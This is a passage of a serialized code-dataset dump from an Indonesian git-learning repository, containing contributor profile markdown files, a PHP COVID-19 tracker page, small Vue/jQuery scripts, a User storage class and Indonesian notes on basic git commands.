odit?\n</p>\n</section>\n</article>\n</div>\n\n<div>\n<article>\n\t<section>\n<h3 id=\"masyarakat\">pekerjaan masyarakat</h3>\n<img src=\"image/warga.webp\" alt=\"masyarakat\">\n<p>\n\tLorem ipsum dolor sit amet, consectetur adipisicing elit. Tempora consectetur unde, consequatur eum sunt accusamus ut. Totam soluta ab consequatur distinctio animi voluptate, explicabo vitae, vero, autem voluptas, praesentium repellat.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quas quibusdam architecto ab magni ad quod, doloribus commodi aspernatur, illo tempora error, laborum enim. Blanditiis id magnam, ratione pariatur quaerat molestias.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolorem vero alias eveniet, harum eaque consequuntur doloribus adipisci libero labore culpa unde accusantium sint non, incidunt, eos accusamus ullam, esse distinctio.\n</p>\n</section>\n</article>\n</div>\n\n<div class=\"universitas\">\n<aside class=\"content\">\n\t<article>\n<h3 id=\"universitas\">lombok tengah</h3>\n\n\t<figure>\n\t\t<img src=\"image/logo.png\" alt=\"profile\" class=\"profile\">\n\t\t<figcaption class=\"profile\">logo lombok tengah </figcaption>\n\n\t\t<p>\nKabupaten Lombok Tengah adalah salah satu Daerah Tingkat II di Provinsi Nusa Tenggara Barat. Ibu kota daerah ini ialah Praya. Kabupaten ini memiliki luas wilayah 1.208,39 km² dengan populasi sebanyak 860.209 jiwa.\n\nKabupaten Lombok Tengah terletak pada posisi 82° 7' - 8° 30' Lintang Selatan dan 116° 10' - 116° 30' Bujur Timur, membujur mulai dari kaki Gunung Rinjani di sebelah Utara hingga ke pesisir pantai Kuta di sebelah Selatan dengan beberapa pulau kecil yang ada disekitarnya.\n\n\t\t<figcaption class=\"profile\">logo lombok tengah </figcaption>\n\t</figure>\n</p>\n</article>\n\n\t</main>\n\t</aside>\n\t</div>\n</body>\n\n<footer>\n\t<p>\n\t\tbelajar pemrograman web &copy 2020,lalu doni setiawan\n\t</p>\n</footer>\n</html>\n" }, { "alpha_fraction": 0.5178190469741821, "alphanum_fraction": 0.5351812243461609, "avg_line_length": 34.31182861328125, "blob_id": "f30145556e7aed7b6f9d91afd866678c3e346625", "content_id": "e5a07f953588641efadaec16ac4ca8dedbab68b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 3283, "license_type": "no_license", "max_line_length": 147, "num_lines": 93, "path": "/kontributor/covid-19.php", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "<?php\n$data = file_get_contents('https://api.kawalcorona.com/indonesia');\n$decode = json_decode($data, true);\n$out = $decode[0];\n?>\n\n\n<!doctype html>\n<html lang=\"en\">\n\n<head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <!-- Bootstrap CSS -->\n <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\" integrity=\"sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z\" crossorigin=\"anonymous\">\n\n <title>Covid-19 Indonesia</title>\n</head>\n\n<body>\n <div class=\"jumbotron\">\n <h1 class=\"display-4 text-center\">Covid-19 Tracker <small class=\"h6\">Api by <a href=\"kawalcorona.com\">Kawalcorona.com</a></small></h1>\n <hr class=\"my-4\">\n <div class=\"text-center\">\n <div class=\"card text-white bg-primary mb-3\">\n <div class=\"card-header h5\"><?= $out['name']; ?></div>\n <div class=\"row\">\n <div class=\"col-md-4 col-sm-12\">\n <p class=\"h6\">Sembuh</p>\n <p class=\"h6 mt-4\"><?= $out['sembuh'] ?></p>\n </div>\n <div class=\"col-md-4 col-sm-12\">\n <p class=\"h6\">Positif</p>\n <p class=\"h6 mt-4\"><?= $out['positif'] ?></p>\n </div>\n <div class=\"col-md-4 col-sm-12\">\n <p class=\"h6\">Meninggal</p>\n <p class=\"h6 mt-4\"><?= $out['meninggal'] ?></p>\n </div>\n </div>\n </div>\n </div>\n </div>\n\n <?php\n $data_prov = file_get_contents('https://api.kawalcorona.com/indonesia/provinsi');\n $decode_prov = json_decode($data_prov, true);\n ?>\n\n <div class=\"container\">\n <div class=\"row justify-content-center\">\n <div class=\"col-10\">\n <table class=\"table\">\n <thead class=\"thead-dark\">\n <tr>\n <th scope=\"col\">No</th>\n <th scope=\"col\">Daerah</th>\n <th scope=\"col\">Positif</th>\n <th scope=\"col\">Sembuh</th>\n <th scope=\"col\">Meninggal</th>\n </tr>\n </thead>\n <tbody>\n <?php $i = 1; ?>\n <?php foreach ($decode_prov as $loop) : ?>\n <tr>\n <th scope=\"row\"><?= $i; ?></th>\n <td><?= $loop['attributes']['Provinsi']; ?></td>\n <td><?= $loop['attributes']['Kasus_Posi']; ?></td>\n <td><?= $loop['attributes']['Kasus_Semb']; ?></td>\n <td><?= $loop['attributes']['Kasus_Meni']; ?></td>\n </tr>\n <?php $i++ ?>\n <?php endforeach; ?>\n </tbody>\n </table>\n </div>\n </div>\n </div>\n\n <footer style=\"background-color: #eaeaea;height: 120px;\">\n <p class=\"text-center h6 pt-5\">&copy; 2020 HafisR <a href=\"https://github.com/hafisrabbani\">github.com/hafisrabbani</a></p>\n </footer>\n <!-- Optional JavaScript -->\n <!-- jQuery first, then Popper.js, then Bootstrap JS -->\n <script src=\"https://code.jquery.com/jquery-3.5.1.slim.min.js\" integrity=\"sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj\" crossorigin=\"anonymous\"></script>\n <script src=\"https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js\" integrity=\"sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN\" crossorigin=\"anonymous\"></script>\n <script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js\" integrity=\"sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV\" crossorigin=\"anonymous\"></script>\n</body>\n\n</html>" }, { "alpha_fraction": 0.6395348906517029, "alphanum_fraction": 0.6395348906517029, "avg_line_length": 16.200000762939453, "blob_id": "05f12d5844fd20476d36ac7bc808b687643cdf5b", "content_id": "c3b13eb9fea156333c0bd0698f16f7f249a42d1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 86, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/kontributor/onyetapp.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "---\nNama : Dian Mukti Wibowo\nWebsite : https://shareku.net\nGithub : https://github.com/onyet\n---\n" }, { "alpha_fraction": 0.7096773982048035, "alphanum_fraction": 0.7096773982048035, "avg_line_length": 14.625, "blob_id": "3ab1b4af005a41acd96dd3c428484440fde372cc", "content_id": "a19cc0a23f92c4e49ee371b8b0127743c80c4994", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 124, "license_type": "no_license", "max_line_length": 40, "num_lines": 8, "path": "/kontributor/iqbalramdhan.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "## Perkenalan Diri\nNama : Muhamad Iqbal Ramadhan\nGithub : https://github.com/iqbalramdhan\n\n## My Favorit\n- Coding\n- Reading and\n- Play Music" }, { "alpha_fraction": 0.5444566607475281, "alphanum_fraction": 0.5455543398857117, "avg_line_length": 18.404254913330078, "blob_id": "ddb1b1ae1135f228df3b436f4e98f867eb68d6f5", "content_id": "2800dbc9d4c18dc052093c0345429eedae7b6703", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 911, "license_type": "no_license", "max_line_length": 46, "num_lines": 47, "path": "/assets/js/script.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "let app = new Vue({\n\tel: '#app',\n\tdata: {\n\t\tcontent: '',\n\t\tvalidate: '',\n\t\tnama: ['Saitama', 'Yoni Widhi', 'Linus Torvalds'],\n\t\tshow: [],\n\t\tisEdit: false,\n\t\tselected: ''\n\t},\n\tmethods: {\n\t\taddNama: function() {\n\t\t\tif (this.content == '') {\n\t\t\t\tthis.validate = \"Nama tidak boleh kosong\";\n\n\t\t\t} else {\n\t\t\t\tthis.nama.push(this.content);\n\t\t\t\tthis.content = '';\n\t\t\t\tthis.validate = '';\n\t\t\t}\n\t\t},\n\t\tdeleteNama: function(index) {\n\t\t\tthis.nama.splice(index, 1);\n\t\t},\n\t\teditNama: function(i) {\n\t\t\tthis.isEdit = true;\n\t\t\tthis.content = this.nama[i];\n\t\t\tthis.selected = i;\n\t\t},\n\t\tupdateNama: function() {\n\t\t\tlet id = this.selected;\n\t\t\t// validate\n\t\t\tif (this.content == '') {\n\t\t\t\tthis.validate = \"Nama tidak boleh kosong\";\n\t\t\t} else {\n\t\t\t\tthis.nama[id] = this.content;\n\t\t\t\tthis.content = '';\n\t\t\t\tthis.validate = '';\n\t\t\t\tthis.isEdit = false;\n\t\t\t}\n\t\t},\n\t\tcancelEdit: function() {\n\t\t\tthis.isEdit = false;\n\t\t\tthis.content = '';\n\t\t}\n\t},\n});" }, { "alpha_fraction": 0.7625330090522766, "alphanum_fraction": 0.7783641219139099, "avg_line_length": 46.375, "blob_id": "0b82dd162912e7b16930bfd65e464b7fb733f3e3", "content_id": "9d3b4c23f6e8f525b83af822f560fd814fe7f6c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 379, "license_type": "no_license", "max_line_length": 246, "num_lines": 8, "path": "/kontributor/st4rz.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "Data Kontributor\nNama : Bintang Nur Pradana\nGit : https://github.com/bintang73\n\nDan Allah telah meratakan bumi untuk makhluk(Nya). Di bumi itu ada buah-buahan dan pohon kurma yang mempunyai kelopak mayang. Dan biji-bijian yang berkulit dan bunga-bunga yang harum baunya. Maka nikmat Tuhan kamu yang manakah yang kamu dustakan?\n(QS Ar-Rahman 10-13)\n\nSemangat berkontribusi teman-teman!\n" }, { "alpha_fraction": 0.7229729890823364, "alphanum_fraction": 0.7229729890823364, "avg_line_length": 28.600000381469727, "blob_id": "bc13215c7b2c91469e618d88df9a0c22b621c91c", "content_id": "d9e793b38c1ffac0a0c02f6f271b6f621f7a6e88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 148, "license_type": "no_license", "max_line_length": 49, "num_lines": 5, "path": "/kontributor/AthallahDzaki.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "Name : Athallah Dzaki\nFrom : Malang, Jawa Timur, Indonesia\nGithub : [This](https://github.com/AthallahDzaki)\n\nQuotes : Do It Right Now Stop It If Found Bug\n" }, { "alpha_fraction": 0.7916666865348816, "alphanum_fraction": 0.7916666865348816, "avg_line_length": 39.33333206176758, "blob_id": "20bb1c5211f3a2c640a840303d28c6109275a83a", "content_id": "48c60c379e9bc1b28991809430b8fbf5d273be63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 120, "license_type": "no_license", "max_line_length": 70, "num_lines": 3, "path": "/kontributor/sigitto.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "### Perkenalan\nHalo nama saya sigit, disini saya cuma ingin mencoba membuat markdown.\nGithub: https://github.com/Sigitto" }, { "alpha_fraction": 0.6221662759780884, "alphanum_fraction": 0.6624684929847717, "avg_line_length": 11.40625, "blob_id": "c877bd1f15799d6aefb1ded164c79b20fe12f86e", "content_id": "3413e7c237ea31da78be64cc9dd56026565c336c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 397, "license_type": "no_license", "max_line_length": 105, "num_lines": 32, "path": "/kontributor/Gimenz.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "# Nama\n\nMuhamad Ristiyanto\n\n<img src=\"https://avatars.githubusercontent.com/u/23699593?v=4\" width=\"200\" height=\"200\" align=\"center\"/>\n\n### Provisi & Kota\n\nMagelang, Jawa Tengah\n\n### Sekolah / Akademik\n\n- unkn0wn\n\n### Hobi\n\n- Nonton YouTube\n- Ngoding\n- Fotografi\n\n### Bahasa Pemograman\n\n- Node Js\n- PHP, CSS, HTML\n\n### Project\n\n- https://masgimenz.my.id \n\n### Profile Link\n\n[Gimenz](https://github.com/Gimenz)\n" }, { "alpha_fraction": 0.47754135727882385, "alphanum_fraction": 0.4933018088340759, "avg_line_length": 15.933333396911621, "blob_id": "d0afb0dd6f30f209f9fca57903e8145a927e8af8", "content_id": "7b0ea382f75054c75211cda00712fa22aa79d238", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1269, "license_type": "permissive", "max_line_length": 72, "num_lines": 75, "path": "/portfolio-landingpag-paralax/bootstrap/js/script.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "// event pada saat link di klik\n$('.page-scroll').on('click', function (e) {\n\n // ambil isi href nya \n var tujuan = $(this).attr('href');\n // tangkap lemen yang bersangkutan\n var elemenTujuan = $(tujuan);\n\n\n $('html, body').animate({\n scrollTop: elemenTujuan.offset().top - 50\n }, 1800, 'easeInOutExpo');\n\n e.preventDefault();\n\n\n\n\n\n});\n\n\n// paralax about\n// $(window).on('load', function () {\n// $('.pKiri').addClass('muncul');\n// $('.pKanan').addClass('muncul');\n// });\n\n\n\n\n\n// parallax portfolio\n$(window).scroll(function () {\n\n var windowScroll = $(this).scrollTop();\n\n\n $('.jumbotron img').css({\n\n 'transform': 'translate(0px,' + windowScroll / 5 + '% )'\n });\n\n $('.jumbotron h1').css({\n\n 'transform': 'translate(0px,' + windowScroll / 3 + '% )'\n });\n\n $('.jumbotron p').css({\n\n 'transform': 'translate(0px,' + windowScroll / 2 + '% )'\n });\n\n\n\n // portfolio\n\n if (windowScroll > $('.portfolio').offset().top - 100) {\n\n $('.portfolio .thumbnail').each(function (i) {\n setTimeout(function () {\n $('.portfolio .thumbnail').eq(i).addClass('muncul');\n\n }, 300 * (i + 1));\n });\n\n\n\n }\n\n\n\n\n\n});" }, { "alpha_fraction": 0.6227272748947144, "alphanum_fraction": 0.6227272748947144, "avg_line_length": 18.41176414489746, "blob_id": "fc171deeb2bf2e15b26a65f5c70ba95a5ec7a2aa", "content_id": "867bf3b4bd1906083643d4c3aedf3a2872430144", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1320, "license_type": "no_license", "max_line_length": 64, "num_lines": 68, "path": "/kontributor/userPetaniKode.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "export default class User {\n static isAvailable = false\n static userId = ''\n static deviceToken = ''\n\n static async getUserFromStore() {\n LocalStorage.getItemWithKey(userStorageKey, (user) => {\n if (user) {\n User.setUser(user)\n }\n })\n }\n\n static getUser() {\n return {\n userId: User.userId,\n }\n }\n\n static setUser(user) {\n User.userId = user.userId\n User.isAvailable = true\n }\n\n static async storeUser(userData = null) {\n if (userData) {\n const user = {\n userId: userData.userId,\n }\n User.setUser(user)\n LocalStorage.setItemWithKeyAndValue(userStorageKey, user)\n }\n }\n\n static resetUser() {\n User.isAvailable = false\n User.id = ''\n }\n\n static async deleteUser() {\n LocalStorage.setItemWithKeyAndValue(userStorageKey, null)\n User.resetUser()\n }\n\n // Token Mgmt\n static async storeDeviceToken(token = null) {\n if (token) {\n User.setToken(token)\n LocalStorage.setItemWithKeyAndValue(deviceTokenKey, token)\n }\n }\n\n static async getDeviceTokenFromStorage() {\n LocalStorage.getItemWithKey(deviceTokenKey, (token) => {\n if (token) {\n User.setToken(token)\n }\n })\n }\n\n static getToken() {\n return User.deviceToken\n }\n\n static setToken(token) {\n User.deviceToken = token\n }\n}\n" }, { "alpha_fraction": 0.6250602602958679, "alphanum_fraction": 0.7062650322914124, "avg_line_length": 22.6971435546875, "blob_id": "8f6bf048944fc06711633d430d7349f54de89c6c", "content_id": "4add9258ae731eefe7060a866d9ee21595502348", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4150, "license_type": "no_license", "max_line_length": 111, "num_lines": 175, "path": "/git-doc-by-farid.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "### Melihat config git kita:\n```\ngit config --list\n```\ntampilan kurang lebih sbb:\n```\[email protected]\nuser.name=Mohamad Farid Saleh\ncore.repositoryformatversion=0\ncore.filemode=true\ncore.bare=false\ncore.logallrefupdates=true\[email protected]:githubfarid1/belajar-git.git\nremote.origin.fetch=+refs/heads/*:refs/remotes/origin/*\nbranch.master.remote=origin\nbranch.master.merge=refs/heads/master\nremote.upstream.url=https://github.com/petanikode/belajar-git.git\nremote.upstream.fetch=+refs/heads/*:refs/remotes/upstream/*\n```\n### Kondisi file git ada 3 :\n* Modified : bisa berupa file baru atau file yang di edit tapi belum dilakukan dengan perintah \"git add\"\nKalo dilihat di git status akan seperti :\n```\nUntracked files:\n (use \"git add <file>...\" to include in what will be committed)\n\n\tgit-doc-by-farid.md\n```\n* Staged : Sudah di lakukan penandaan tapi belum di commit. caranya dengan perintah git add <nama_file> contoh:\n ```\n git add git-doc-by-farid.md\n git add abc.html tes.php\n git *.html\n git .\n ```\nKalo dilihat di git status akan seperti :\n ```\n Changes to be committed:\n (use \"git reset HEAD <file>...\" to unstage)\n\n\tnew file: git-doc-by-farid.md\n ```\n\n * Commited : sudah dilakukan perintah \"git commit\" contoh:\n ```\n git commit -m \"tambah file git-doc-by-farid.md\"\n ```\n\nKalo dilihat di git status akan seperti :\n ```\n On branch master\n Your branch is ahead of 'origin/master' by 1 commit.\n (use \"git push\" to publish your local commits)\n ```\n\n### Sekarang kita revisi file git-doc-by-farid.md\nkalo kita lihat dengan git status :\n```\nChanges not staged for commit:\n (use \"git add <file>...\" to update what will be committed)\n (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n\tmodified: git-doc-by-farid.md\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n```\nSekarang coba pindahkan ke status stagged :\n``` \n git add git-doc-by-farid.md\n```\nhasilnya : \n```\nChanges to be committed:\n (use \"git reset HEAD <file>...\" to unstage)\n\n\tmodified: git-doc-by-farid.md\n```\nPindahkan ke status commited :\n```\n git commit -m \"edit file git-doc-by-farid.md\"\n```\nhasilnya : \n```\nOn branch master\nYour branch is ahead of 'origin/master' by 2 commits.\n (use \"git push\" to publish your local commits)\n```\n### Cara melihat log revisi\n```\ngit log\n```\nhasilnya : \n```\ncommit d132501c719d095047350cf2bd0d4893676d0677 (HEAD -> master)\nAuthor: Mohamad Farid Saleh <[email protected]>\nDate: Mon Aug 16 08:17:39 2021 +0000\n\n edit file git-doc-by-farid.md\n\ncommit 4f864a676b9613de1295927a3867a08480e102e6\nAuthor: Mohamad Farid Saleh <[email protected]>\nDate: Mon Aug 16 08:08:56 2021 +0000\n\n tambah file git-doc-by-farid.md\n```\nAgar log lebih pendek :\n```\ngit log --oneline\n```\nhasilnya : \n```\nd132501 (HEAD -> master) edit file git-doc-by-farid.md\n4f864a6 tambah file git-doc-by-farid.md\n```\n\nUntuk melihat detail sebuah log :\n```\ngit log 4f864a676b9613de1295927a3867a08480e102e6\n```\nhasilnya : \n```\ncommit 4f864a676b9613de1295927a3867a08480e102e6\nAuthor: Mohamad Farid Saleh <[email protected]>\nDate: Mon Aug 16 08:08:56 2021 +0000\n\n tambah file git-doc-by-farid.md\n\ncommit cc1d22e4a110d6b0e3eb5ae81a5823318c9f5a12 (origin/master, origin/HEAD)\nAuthor: Mohamad Farid Saleh <[email protected]>\nDate: Mon Aug 16 14:47:21 2021 +0900\n\n saya sisipkan kode di index.php\n\ncommit ffdcbf902bdaf0ec54f30941053536c543b6d4de (upstream/master)\nMerge: e0b0c6d d83b2cb\nAuthor: Ahmad Muhardian <[email protected]>\nDate: Sun Aug 1 12:12:32 2021 +0800\n\n Merge pull request #257 from agustig/master\n \n Kontribusi agustig dalam belajar git\ndst ......\n```\n\n\nnote : *yang ditampikan adalah log dari commit tersebut dan commit setelahnya.*\n\nUntuk melihat log dari sebuah file :\n```\ngit log git-doc-by-farid.md\n```\nhasilnya :\n```\ncommit d132501c719d095047350cf2bd0d4893676d0677 (HEAD -> master)\nAuthor: Mohamad Farid Saleh <[email protected]>\nDate: Mon Aug 16 08:17:39 2021 +0000\n\n edit file git-doc-by-farid.md\n\ncommit 4f864a676b9613de1295927a3867a08480e102e6\nAuthor: Mohamad Farid Saleh <[email protected]>\nDate: Mon Aug 16 08:08:56 2021 +0000\n\n tambah file git-doc-by-farid.md\n```\n\nmelihat log oleh author tertentu :\n```\ngit log --author='Mohamad Farid Saleh'\natau pakai email :\ngit log --author='[email protected]'\n```\n\n### Cara melihat perbandingan revisi\nMembandingkan \n\n\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7857142686843872, "avg_line_length": 27, "blob_id": "8e1b5a2df8a396d31f7dd92cd6771e8bb4f0d9fd", "content_id": "8455df57d4dd62989b46250d19b33391a52620d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 28, "license_type": "no_license", "max_line_length": 27, "num_lines": 1, "path": "/kontributor/nisha.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "https://github.com/nishaa73\n" }, { "alpha_fraction": 0.6571428775787354, "alphanum_fraction": 0.6571428775787354, "avg_line_length": 22.66666603088379, "blob_id": "b37cedbfef5bb245bca6c16f67a58bba3e588e3e", "content_id": "67938e8bc26f7867138ab7000bc400689f896cf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 70, "license_type": "no_license", "max_line_length": 55, "num_lines": 3, "path": "/didyouknow.py", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "print('''\n \"WADIDAW dibaca dari belakang tetep WADIDAW\" - Rama\n''')" }, { "alpha_fraction": 0.6875, "alphanum_fraction": 0.6875, "avg_line_length": 15, "blob_id": "77b8eae6c8de9c825388f6df77c6308ecf1c90ef", "content_id": "14b4ee82519f903c8dcc148d001308b04961b914", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 48, "license_type": "no_license", "max_line_length": 23, "num_lines": 3, "path": "/index.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "console.log(index.js);\n\nalert(\"ubah index.js\");\n" }, { "alpha_fraction": 0.7441860437393188, "alphanum_fraction": 0.7441860437393188, "avg_line_length": 21, "blob_id": "d11066ee0e9b9988556e5c53e7781da278702bff", "content_id": "965d19f616821a5329c94a4171637b747debe416", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43, "license_type": "no_license", "max_line_length": 29, "num_lines": 2, "path": "/kontributor/rama.py", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "print('Rama')\nprint('Belajar Pull Request')" }, { "alpha_fraction": 0.7131147384643555, "alphanum_fraction": 0.7131147384643555, "avg_line_length": 23.600000381469727, "blob_id": "02f396b13da936ce000041cf94c1adb0346e7ff4", "content_id": "735fd97ae5d16eaf929e23b2ace15e4fe1aa90d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 122, "license_type": "no_license", "max_line_length": 44, "num_lines": 5, "path": "/kontributor/depapp.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "Nama: Depa Panjie Purnama\nGithub: https://github.com/depapp\nWeb: https://depapp.github.io\n\nBio: \"when there's nothing left, go right..\"" }, { "alpha_fraction": 0.7404844164848328, "alphanum_fraction": 0.7404844164848328, "avg_line_length": 28, "blob_id": "801c9b3d60554a27eecb913459f0017e963e0a67", "content_id": "01b9de19812ba3c3fb11fa7b8c6497b7cb8f5b41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 289, "license_type": "no_license", "max_line_length": 69, "num_lines": 10, "path": "/kontributor/anonymous.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "Data Kontributor\nNama : Dinan Rangga Maulana\nGit : https://github.com/dinanrm\nLinkedIn : https://www.linkedin.com/in/dinan-rm\n\nKhairunnas anfa'uhum linnas\n\"Sebaik-baik manusia adalah yang paling bermanfaat bagi manusia lain\"\n(HR Ahmad dan Thabrani)\n\nSemangat berkontribusi teman-teman!" } ]
34
kevklash/json_config-1
https://github.com/kevklash/json_config-1
6897c219194b266260fc0590d1a27d69f1243f1e
c3ebd9df17a1cdfd6a5375a10f7a12ddfbfcaf9e
88a5fbddb2f6fa1751786815207a1f4e732afbf1
refs/heads/master
2023-04-27T09:17:23.504912
2021-05-06T18:44:22
2021-05-06T18:44:22
365,006,341
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.685288667678833, "alphanum_fraction": 0.685288667678833, "avg_line_length": 32.625, "blob_id": "c9ad2d800d3d78a6d67c62247f6c7fa7a642277a", "content_id": "c97a0ada57dc2695e73ed4e034d83bb9dc5b4ef6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 537, "license_type": "no_license", "max_line_length": 85, "num_lines": 16, "path": "/olds/module_read_config_old.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "import json\nfrom module_default_values import serveData\nfrom module_create_file import create_json\n\ndef print_data():\n data = serveData()\n try:\n with open('config.json', 'r') as config_file:\n data_file = json.load(config_file)\n for value in data_file[\"Frontend\"]:\n print(value['id'] + ' : ' + value['value'])\n except FileNotFoundError:\n print(\"The file does not exist, generating a config file with default values...\")\n create_json(data)\n except IOError:\n print(\"Temporary error reading the config file\")" }, { "alpha_fraction": 0.47297295928001404, "alphanum_fraction": 0.4831081032752991, "avg_line_length": 20.178571701049805, "blob_id": "3c60c3a84a55387f520acb4e7ad5d387d054b388", "content_id": "ba0ab23be328ea4c49fa25fbf1ec7bb65ead407e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 592, "license_type": "no_license", "max_line_length": 39, "num_lines": 28, "path": "/olds/module_default_values_v1.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "def serveData():\n \"\"\" Defining the default values \"\"\"\n data = {}\n data[\"Frontend\"] = []\n data[\"Frontend\"].append({\n 'id' : 'ttl',\n 'value' : 'This is the app title'\n })\n data[\"Frontend\"].append({\n 'id' : 'hdr1',\n 'value' : 'This is header 1'\n })\n data[\"Frontend\"].append({\n 'id' : 'lbl1',\n 'value' : 'This is label 1'\n })\n data[\"Frontend\"].append({\n 'id' : 'lbl2',\n 'value' : 'This is label 2'\n })\n data[\"Backend\"] = []\n data[\"Backend\"].append({\n 'parameters' : {\n 'id' : 'adEml',\n 'value' : '[email protected]'\n }\n })\n return data" }, { "alpha_fraction": 0.6920353770256042, "alphanum_fraction": 0.6920353770256042, "avg_line_length": 30.44444465637207, "blob_id": "bf5e3570b167260d853d65ebcc0ff7d058ea3ac2", "content_id": "b5f301edbaeb8f8b6ae5dbc70de638bd3c630729", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 565, "license_type": "no_license", "max_line_length": 85, "num_lines": 18, "path": "/module_read_config.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "import json\nfrom module_default_values import get_store, get_storeFR\nfrom module_create_file import create_json\n\n\ndef print_data(file_path):\n data = get_store()\n dataFr = get_storeFR()\n try:\n with open(file_path, 'r') as config_file:\n data_file = json.load(config_file)\n for value in data_file:\n print(value + \" : \" + data_file[value])\n except FileNotFoundError:\n print(\"The file does not exist, generating a config file with default values...\")\n create_json(data)\n except IOError:\n print(\"Temporary error reading the config file\")" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.6482353210449219, "avg_line_length": 36, "blob_id": "eed4565be0cc07aeed78b7063eff0ad2dc20d9df", "content_id": "427cb9254c1bc432b308b62fe61b3513b8614f30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 850, "license_type": "no_license", "max_line_length": 104, "num_lines": 23, "path": "/module_create_file.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "import json\n\n\ndef create_json(file_path, values, lang):\n try:\n with open(file_path, 'r'):\n if lang == \"EN\":\n print(\"English language file was found\")\n elif lang == \"FR\":\n print(\"French language file was found\")\n except FileNotFoundError:\n if lang == \"EN\":\n print(\"The English language file does not exist, generating a config file with default values...\")\n elif lang == \"FR\":\n print(\"The French language file does not exist, generating a config file with default values...\")\n with open(file_path, 'w') as outfile:\n json.dump(values, outfile, indent=4)\n if lang == \"EN\":\n print(\"English language file was created successfully\")\n elif lang == \"FR\":\n print(\"French language file was created successfully\")\n except IOError:\n print(\"Temporary error reading the config file\")" }, { "alpha_fraction": 0.6612903475761414, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 26.950000762939453, "blob_id": "125fe7243973646718b6ed724fafb6ab00125dac", "content_id": "5a8c397900cf169cc70c37a1d117e95d8b1cfc28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "no_license", "max_line_length": 82, "num_lines": 20, "path": "/module_modify_config.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "import json\n\n\ndef modify(file_path):\n \"\"\" Read the file \"\"\"\n try:\n with open(file_path, 'r') as config_file:\n json_object = json.load(config_file)\n except IOError:\n print(\"Temporary error reading the language file\")\n\n json_object['title'] = 'This is 